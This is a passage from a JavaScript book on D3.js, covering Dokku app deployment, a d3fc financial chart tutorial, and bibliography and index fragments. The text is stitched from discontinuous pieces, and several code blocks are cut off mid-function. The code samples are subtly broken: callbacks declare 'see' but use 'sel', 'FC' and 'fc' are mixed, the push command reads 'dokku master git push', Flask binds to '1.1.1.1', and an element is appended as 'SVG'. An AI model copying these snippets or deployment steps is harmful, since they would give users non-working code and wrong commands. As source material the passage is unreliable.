the Dokku application from the “Applications” tab for the picture. Make
sure your SSH key is selected.
Complete the configuration by going to the Dokku setup screen by typ-
ing the IP address of the freshly formed Droplet into your browser. After
you’ve double-checked that the public key is right, click “Finish Setup.”
Pushes can now be accepted by the VPS.
Config deployment:
Python syntax:
if __name__ == '__main__':
port = int(os.environ.get('PORT', 500))
app.run(host='1.1.1.1', port=port)
So first, we try to get the port from the App’s environment; if that fails,
it falls back to port 500.
Also, be sure to update the imports:
Python syntax:
import os
Deploy: Push after you’ve committed your changes: dokku master git
push If everything went correctly, you should see the following on your
terminal:
loadDataEndOfDay.then(data => {
// render the chart here
});
const lineSeries = fc
.seriesSvgLine()
.mainValue(d => d.high)
.crossValue(d => d.date);
const chart = fc
.chartCartesian(d3.scaleTime(), d3.scaleLinear())
.yOrient("right")
.yDomain(yExtent(data))
.xDomain(xExtent(data))
.svgPlotArea(lineSeries);
d3.select("#chart-element")
.datum(data)
.call(chart);
184 ◾ Conquering JavaScript: D3.js
The lines series, chart components, and d3fc extent are used in the
above code. I’ll give you a quick explanation of each one:
The extent component works in a similar way to D3’s extent func-
tion, which calculates an array’s maximum and lowest values. This
is used to determine the chart’s domain (or visible range). The d3fc
extend component lets you to set padding, symmetry, specified
values, and other important features – see the API docs for more
information.
The mainValue/crossValue properties define accessors on the underly-
ing data, and the line series component generates an SVG line.
Finally, the chart component generates a chart that has two axes and
a plot area. By specifying it as the plot area, the line series is linked to
the chart. Canvas components, such as seriesCanvasLine, are also sup-
ported by the chart. The chart is responsive, meaning it will immediately
re-render if the element’s size changes.
These components all follow Mike Bostock’s standard D3 component
convention, allowing them to be rendered with D3 data joins. As you can
see, they’re all self-contained, which means you may use them separately
or in combination with other D3 code.
const areaSeries = FC
.seriesSvgArea()
.baseValue(d => yExtent(data)[0])
.mainValue(d => d.high)
.crossValue(d => d.date);
const gridlines = FC
.annotationSvgGridline()
Summary ◾ 185
.yTicks(5)
.xTicks(0);
A single series can be plotted on the chart plot area, however, many
series instances can be joined together using a multi-series:
All d3fc series components provide x and y scale features that are re-
fixed by the charts itself when an element is added to the plot area, which
is not immediately visible. The scales are passed onto each of the sub-series
by the multi-series.
const ma = FC
.indicatorMovingAverage()
.value(d => d.high)
.period(15);
const maData = ma(data);
Since D3 data joins work with a single array of data, merging the mov-
ing average into the current series is the simplest approach to add it to
the chart. The following example clones each data point using an object
spread and adds the moving average value:
const movingAverageSeries = FC
.seriesSvgLine()
.mainValue(d => d.ma)
.crossValue(d => d.date)
.decorate(see =>
sel.enter()
.classed("ma", true)
);
const volumeExtent = fc
.extentLinear()
.include([0])
.pad([0, 2])
.accessors([d => d.volume]);
const volumeDomain = volumeExtent(data);
The padding of [0, 2] guarantees that the volume series is moved down
to the bottom third of the chart, while include ensures that the returned
extent contains zero.
The real magic begins with the following scale, which maps the volume
domain to the price domain:
const volumeToPriceScale = d3
.scaleLinear()
.domain(volumeDomain)
.range(yExtent(data));
const volumeSeries = FC
.seriesSvgBar()
.bandwidth(2)
.crossValue(d => d.date)
.mainValue(d => volumeToPriceScale(d.volume))
.decorate(see =>
sel
.enter()
.classed("volume", true)
.attr("fill", d => (d.open > d.close? "red" :
"green"))
);
The decorate function creates a selection (data join) that renders each
individual bar as an SVG route in this case. The attr function adjusts the
color dependent on whether the price is raising or lowering, which is an
excellent example of the decorate pattern in action!
188 ◾ Conquering JavaScript: D3.js
Inserting a Legend
The chart’s legend is a basic table that displays the open, high, low, close,
and volume numbers for the chart’s most recent data point. This informa-
tion is straightforward to present using a D3 data-join, which is why we
haven’t included a legend component in d3fc – it would be useless.
For the sake of clarity, it’s still worth wrapping the component func-
tionality within a component (and potential re-use).
Here’s a basic legend component that takes an array of objects with
name and value properties as input:
valueJoin(d3.select(nodes[selectionIndex]),
data)
.attr("transform", (_, i) => "translate(60,
" + (i + 1) * 15 + ")")
.text(d => d.value);
});
};
return instance;
};
You’ll notice that the above code creates SVG text components using the
d3fc data join component rather than the classic D3 data join approach.
Rather than having to manage the enter, update, and exit selections explic-
itly, this component allows you to specify that each datum should have a
text component that is uniquely recognized by a legend-label CSS class.
Summary ◾ 189
The last step is to add the chart’s legend. We return to the decorative
pattern:
const chart = FC
.chartCartesian(d3.scaleTime(), d3.scaleLinear())
// ...
.decorate(see => {
sel
.datum(legendData(data[data.length - 1]))
.append("SVG")
.style("grid-column", 3)
.style("grid-row", 3)
.classed("legend", true)
.call(chartLegend);
});
The legend data is bound to the current selection via datum using the
adorn selection. The chart component uses a CSS grid layout, with the
above code adding a new SVG element to the plot area in the third row and
column. Finally, the legend component is rendered using the call method
of the selection.
Some minor aesthetic adjustments, such as stretching the axis ticks,
adding a border, and offsetting the axis labels, are required to resemble the
original chart. These are just minor tweaks that I won’t go into in detail
here. It’s time to move on to something far more exciting!
190 ◾ Conquering JavaScript: D3.js
return Object.keys(tradingHours).map
(d => tradingHours[d]);
};
The D3 pairs function is used to “pair up one day’s closure with the
next’s open,” creating the required discontinuities:
xScale.discontinuityProvider(FC.discontinuityRange(...
discontinuities));
const chart = fc
.chartCartesian(xScale, yScale)
// ...
.xTicks(xTicks)
ANNOTATIONS
The original chart has some interesting annotations, consisting of a com-
bination of vertical lines and bands that help to clarify after-hours trade.
To render this type of feature, d3fc provides a number of distinct annota-
tion types.
192 ◾ Conquering JavaScript: D3.js
const verticalAnnotation = fc
.annotationSvgLine()
.orient("vertical")
.value(d => d.value)
.decorate(see => {
sel
.enter()
.select(".bottom-handle")
.append("use")
.attr("transform", "translate(0, -20)")
.attr("xlink:href", d => d.type);
sel
.enter()
.select(".bottom-handle")
.append("circle")
.attr("r", 3);
});
const bands = fc
.annotationSvgBand()
.orient("vertical")
.fromValue(d => d[0][1])
.toValue(d => d[1][0]);
data.tradingHoursArray = tradingHoursArray;
const multi = FC
.seriesSvgMulti()
.series([
gridlines,
areaSeries,
lineSeries,
movingAverageSeries,
volumeSeries,
bands,
verticalAnnotation
])
.mapping((data, index, series) => {
switch (series[index]) {
case verticalAnnotation:
return flatten(data.tradingHoursArray.
map(markersForDay));
case bands:
return d3.pairs(
data.tradingHoursArray.map(d =>
exchangeOpeningHours(d[0]))
);
default:
return data;
}
});
CROSSHAIRS
Finally, we’ll add some interactivity to the chart by including a crosshair
that tracks the cursor position. To do so, we’ll need to handle mouse/
pointer events in the plot area of the chart. The mouse events are handled
by a basic pointer component in d3fc, which emits the cursor’s x and y
positions as events.
To take advantage of this, the chart code will need to be restructured
somewhat to allow it to be re-rendered when events are handled. The fol-
lowing modifications are required:
d3.select("#chart-element .plot-area").
call(pointer);
};
render();
SUMMARY
D3 is highly versatile; you can make almost anything with it. We hope that
by combining d3fc with D3, we will be able to quickly create complicated
charts without sacrificing the capability of D3.
NOTE
1. https://www.smashingmagazine.com/2018/02/react-d3-ecosystem/
Bibliography
195
196 ◾ Bibliography
18. https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Basic_
Shapes, accessed on July 8, 2022.
19. SVG_ rect in D3 – https://www.w3schools.com/graphics/svg_rect.asp, accessed
on July 9, 2022.
20. SVG_ intro in D3 – https://www.w3schools.com/graphics/svg_intro.asp, accessed
on July 9, 2022
21. SVG_polygon – https://www.w3schools.com/graphics/svg_polygon.asp,
accessed on July 10, 2022
22. SVG_ circle in D3 – https://www.w3schools.com/graphics/svg_circle.asp,
accessed on July 10, 2022
23. https://blog.hubspot.com/marketing/types-of-graphs-for-data-visualiza-
tion, accessed on July 10, 2022
24. Data-Driven Businesses Demand Instrumental Use of Data Visualization –
https://www.analyticsinsight.net/data-driven-businesses-demand-instru-
mental-use-data-visualization/, accessed on July 11, 2022
25. Complete Javascript Resources, Information Tools Validators – RSH Web,
https://rshweb.com/blog-javascript-resources, accessed on July 11, 2022.
26. Arrange more than one d3.js graph with Bootstrap – http://www.d3noob.
org/2013/07/arrange-more-than-one-d3js-graph-with.html, accessed on
July 12, 2022.
27. Purpose of the integrity attribute in HTML, https://www.devasking.com/
issue/what-is-the-purpose-of-the-integrity-attribute-in-html-duplicate,
accessed on July 12, 2022.
28. What is Data Visualization, https://www.ibm.com/cloud/learn/data-visual-
ization, accessed on July 12, 2022.
29. Data visualization in Angular using D3.js – LogRocket Blog, https://blog.
logrocket.com/data-visualization-angular-d3, accessed on July 13, 2022.
30. Building a Complex Financial Chart with D3 and d3fc – Scott Logic,
https://blog.scottlogic.com/2018/09/21/d3-financial-chart.html, accessed on
July 13, 2022.
31. Building a BitClout Social Network Visualization App – Memgraph, https://
memgraph.com/blog/visualize-the-bitclout-network-using-d3js, accessed
on July 14, 2022.
Index
197
198 ◾ Index
HTML, 175–176 W
main configuration, 177
Web browser, 8
Cascading Style Sheets (CSS), 181
WebGL, 36, 95, 96
configuration of bubbles, 177
Web links, using D3.js to add, 45–47
Scalable Vector Graphics (SVG)
Webpack files, addition of, 65–68
configuration, 178
World Wide Web, 11
tooltips, 179–180
Moving Average, integrating, 185
discontinuous scale component, X
190–191
XSS, see Cross-Site Scripting
legend, inserting, 188–189
trading hours, 190–191
volume set, including, 186–187 Y
Volume set, including, 186–187
Yahoo chart, 186
VR, see Virtual reality
VX, 157–158